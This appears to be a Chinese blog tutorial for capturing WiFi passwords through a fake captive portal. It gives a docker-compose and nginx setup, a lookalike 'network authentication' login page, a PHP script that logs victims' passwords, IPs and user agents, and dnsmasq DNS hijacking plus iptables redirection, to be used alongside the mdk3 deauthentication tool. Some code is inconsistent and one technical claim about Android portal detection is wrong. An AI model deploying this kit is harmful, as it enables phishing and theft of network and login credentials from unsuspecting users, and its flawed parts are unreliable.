无需监听网卡!利用企业路由器门户功能实现WiFi渗透测试

[!NOTE]

前言:当传统渗透测试工具(如Fluxion)因网卡限制无法创建AP时,可利用企业路由器原生门户功能实现更稳定的密码捕获环境

方案预览

[!TIP]

方案一: 企业路由器门户功能+本地nginx服务器 #需要路由器支持,配置简单

方案二: 普通路由器+DNSmasq 服务器+nginx服务器 #兼容性

[!IMPORTANT]

请配合mdk3工具使用

deepseek_mermaid_20250503_faeebb

方案一: 企业路由器门户功能+本地服务器(nginx+php)

1.项目结构

wifi-portal/
├── docker-compose.yml
├── nginx/
│   └── default.conf
├── php/
│   └── log_password.php
├── html/ (html文件放这里)
│   └── index.html  
└── logs/  密码输入记录及nginx日志文件存放处
    └── auth_attempts.log 

2. 修正容器通信配置

更新docker-compose.yml
version: '3.8'

services:
  web:
    image: nginx:alpine
    ports:
      - "80:80"
    volumes:
      - ./nginx/default.conf:/etc/nginx/conf.d/default.conf
      - ./html:/var/www/html
      - ./php:/var/www/html/api
      - ./logs:/var/log/nginx
    networks:
      - portal_net
    depends_on:
      - php

  php:
    image: php:8.2-fpm-alpine
    volumes:
      - ./php:/var/www/html/api
      - ./html:/var/www/html
      - ./logs:/var/log
    networks:
      - portal_net
    environment:
      - PHP_LOG_ERRORS=On
      - PHP_LOG_ERRORS_MAX_LEN=1024

networks:
  portal_net:
    driver: bridge
关键修改说明:
  1. 显式声明了portal_net网络
  2. 两个服务都连接到同一网络
  3. 确保服务名称(web/php)与Nginx配置一致

3. 修正Nginx配置

nginx/default.conf
server {
    listen 80;
    server_name localhost;
    
    access_log /var/log/nginx/access.log;
    error_log /var/log/nginx/error.log;

    root /var/www/html;
    index index.html;

    location / {
        try_files $uri $uri/ =404;
    }

    location /api {
        alias /var/www/html/api;
        try_files $uri $uri/ /api/log_password.php?$query_string;
        
        location ~ \.php$ {
            fastcgi_pass php:9000;
            fastcgi_index index.php;
            fastcgi_param SCRIPT_FILENAME $request_filename;
            include fastcgi_params;
        }
    }
}

4. index.html门户页面框架,可自行修改

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <!-- ########## 基础配置区(可修改)########## -->
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>网络认证系统</title>  <!-- 页面标题 -->
    
    <!-- ########## CSS样式区(可自定义)########## -->
    <style>
        /* 基础重置 */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: "Microsoft YaHei", Arial, sans-serif;
        }
        
        /* 主容器样式 */
        body {
            background-color: #f5f5f5;
            color: #333;
        }
        .container {
            width: 100%;
            max-width: 400px;
            margin: 20px auto;
            padding: 20px;
        }

        /* 登录框样式 */
        .login-box {
            background: white;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
            overflow: hidden;
        }
        .login-header {
            background: #1a73e8;  <!-- 顶部栏颜色 -->
            color: white;
            padding: 15px;
            text-align: center;
            font-size: 18px;
        }

        /* 表单元素 */
        .form-group {
            margin: 15px;
        }
        .form-group label {
            display: block;
            margin-bottom: 8px;
            font-weight: bold;
        }
        .form-group input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        .submit-btn {
            background: #1a73e8;  <!-- 按钮颜色 -->
            color: white;
            border: none;
            padding: 12px;
            width: 100%;
            border-radius: 4px;
            cursor: pointer;
            font-size: 16px;
        }
        .submit-btn:hover {
            background: #0d5bba;  <!-- 按钮悬停颜色 -->
        }

        /* 错误提示 */
        .error-msg {
            color: #d32f2f;
            padding: 10px;
            text-align: center;
            display: none;
        }
    </style>
</head>
<body>
    <!-- ########## 页面结构区(可自由调整)########## -->
    <div class="container">
        <div class="login-box">
            <!-- 标题区 -->
            <div class="login-header">
                <h2>网络认证</h2>  <!-- 标题文字 -->
            </div>
            
            <!-- 错误提示区 -->
            <div class="error-msg" id="errorMsg">
                网络连接异常,请重试
            </div>
            
            <!-- 表单区 -->
            <form id="authForm">
                <div class="form-group">
                    <label for="username">用户名</label>  <!-- 字段名称 -->
                    <input type="text" id="username" placeholder="请输入账号">  <!-- 占位符 -->
                </div>
                
                <div class="form-group">
                    <label for="password">密码</label>
                    <input type="password" id="password" placeholder="请输入密码">
                </div>
                
                <div class="form-group">
                    <button type="submit" class="submit-btn">立即认证</button>  <!-- 按钮文字 -->
                </div>
            </form>
        </div>
    </div>

    <!-- ########## JavaScript逻辑区(需修改API地址)########## -->
    <script>
        document.getElementById('authForm').addEventListener('submit', function(e) {
            e.preventDefault();
            
            // 获取表单数据
            const formData = {
                username: document.getElementById('username').value,
                password: document.getElementById('password').value
            };

            // 显示加载状态
            const btn = this.querySelector('button');
            btn.disabled = true;
            btn.textContent = '认证中...';

            // ########## 修改点:替换为你的API地址 ##########
            fetch('http://你的服务器IP/api/auth', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify(formData)
            })
            .then(response => response.json())
            .then(data => {
                if(data.success) {
                    // 认证成功处理
                    alert('认证成功!');
                } else {
                    // 显示错误信息
                    document.getElementById('errorMsg').style.display = 'block';
                }
            })
            .catch(error => {
                console.error('Error:', error);
                document.getElementById('errorMsg').textContent = '网络连接失败';
                document.getElementById('errorMsg').style.display = 'block';
            })
            .finally(() => {
                btn.disabled = false;
                btn.textContent = '立即认证';
            });
        });
    </script>
</body>
</html>

5.php脚本

<?php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');

// 获取客户端真实IP
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'unknown';

// 准备日志数据
$logData = [
    'date' => date('Y-m-d H:i:s'),
    'ip' => $ip,
    'password' => json_decode(file_get_contents('php://input'), true)['password'] ?? '',
    'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? '',
    'referer' => $_SERVER['HTTP_REFERER'] ?? ''
];

// 记录到文件
$logFile = '/var/log/auth_attempts.log';
file_put_contents($logFile, json_encode($logData, JSON_UNESCAPED_UNICODE)."\n", FILE_APPEND);

// 返回成功响应
echo json_encode(['status' => 'success']);
?>

6. 创建日志目录

mkdir -p logs
touch logs/auth_attempts.log

7. 启动容器

docker-compose up -d

8. 查看日志

#在RHEL / CentOS / Fedora
yum install -y multitail
#在Debian / Ubuntu / Linux 
sudo apt-get install multitail

multitail logs/auth_attempts.log

方案二: 普通路由器+DNSmasq 服务器+nginx+php

可行性分析

  1. DNS劫持方案
    • ✅ 优点:简单易实现,适合小规模部署
    • ❌ 缺点:只能劫持HTTP流量,HTTPS网站会显示证书警告
    • ⚠️ 限制:现代浏览器会阻止混合内容
  2. 更好的替代方案
    • 使用Captive Portal技术(企业路由器标准功能)
    • DHCP Option 43/60配合强制门户
    • 基于ARP/DHCP的流量拦截

推荐实施方案(基于DNS劫持优化版)

1. DNS服务器配置(dnsmasq)
# 安装dnsmasq
sudo apt install dnsmasq

# 配置文件 /etc/dnsmasq.conf
interface=eth0
listen-address=192.168.1.53
no-dhcp-interface=
no-resolv
server=8.8.8.8
server=8.8.4.4
address=/connectivitycheck.gstatic.com/192.168.1.52
address=/www.msftconnecttest.com/192.168.1.52
address=/captive.apple.com/192.168.1.52
2. 路由器配置
  1. DHCP设置中将DNS服务器指向您的本地服务器(例如: 192.168.1.53)
  2. 关闭路由器自带的DNS转发功能
3. Nginx强制门户配置
server {
    listen 80;
    server_name connectivitycheck.gstatic.com www.msftconnecttest.com captive.apple.com;
    
    location / {
        rewrite ^(.*)$ http://192.168.1.52/portal permanent;
    }
}
4. 完整工作流程
  1. 设备连接WiFi → 请求DHCP配置
  2. 获取到您指定的DNS服务器(192.168.1.53)
  3. 设备进行网络连通性测试时:
    • Android访问 connectivitycheck.gstatic.com
    • Windows访问 www.msftconnecttest.com
    • iOS访问 captive.apple.com
  4. DNS服务器返回您的服务器IP(192.168.1.52)
  5. Nginx 301重定向到认证页面

更专业的实现方案(推荐)

使用Captive Portal技术
# 安装必要的工具
sudo apt install iptables hostapd

# 创建网络命名空间
ip netns add captive

# 设置iptables规则
iptables -t mangle -N captive
iptables -t mangle -A PREROUTING -j captive
iptables -t mangle -A captive -j MARK --set-mark 1
iptables -t nat -A PREROUTING -m mark --mark 1 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.52:80
优化后的DNS配置
# /etc/dnsmasq.conf 追加
dhcp-option=6,192.168.1.53  # 强制分配DNS服务器
dhcp-option=160,http://192.168.1.52/portal  # Android Captive Portal提示

各系统兼容性处理

  1. Android设备

    server {
        listen 80;
        server_name connectivitycheck.gstatic.com;
        return 204;  # 必须返回204才会触发portal页面
    }
    
  2. iOS/macOS设备

    server {
        listen 80;
        server_name captive.apple.com;
        return 200 '<HTML><HEAD><TITLE>Success</TITLE></HEAD><BODY>Success</BODY></HTML>';
        add_header Content-Type text/html;
    }
    
  3. Windows设备

    server {
        listen 80;
        server_name www.msftconnecttest.com;
        return 200 '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"><html><head><title>Microsoft NCSI</title></head><body>Microsoft NCSI</body></html>';
        add_header Content-Type text/html;
    }
    

检测与调试工具

  1. 测试DNS解析

    dig @192.168.1.53 connectivitycheck.gstatic.com
    
  2. 查看iptables规则:b

    iptables -t mangle -L -v -n
    
  3. 抓包分析

    tcpdump -i eth0 port 53 or port 80
    

注意事项

  1. HTTPS处理

    • 需要自签名证书并让客户端信任
    • 或使用SSL剥离技术(不推荐)
  2. 法律合规

    • 仅在自己的网络实施
    • 添加隐私声明页面
  3. 日志记录

    log_format portal '$remote_addr - $http_user_agent';
    access_log /var/log/nginx/portal.log portal;
    

这个方案比纯DNS劫持更可靠,能处理各种操作系统的网络检测机制,且不会导致浏览器安全警告。实施时建议先在测试网络验证效果。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值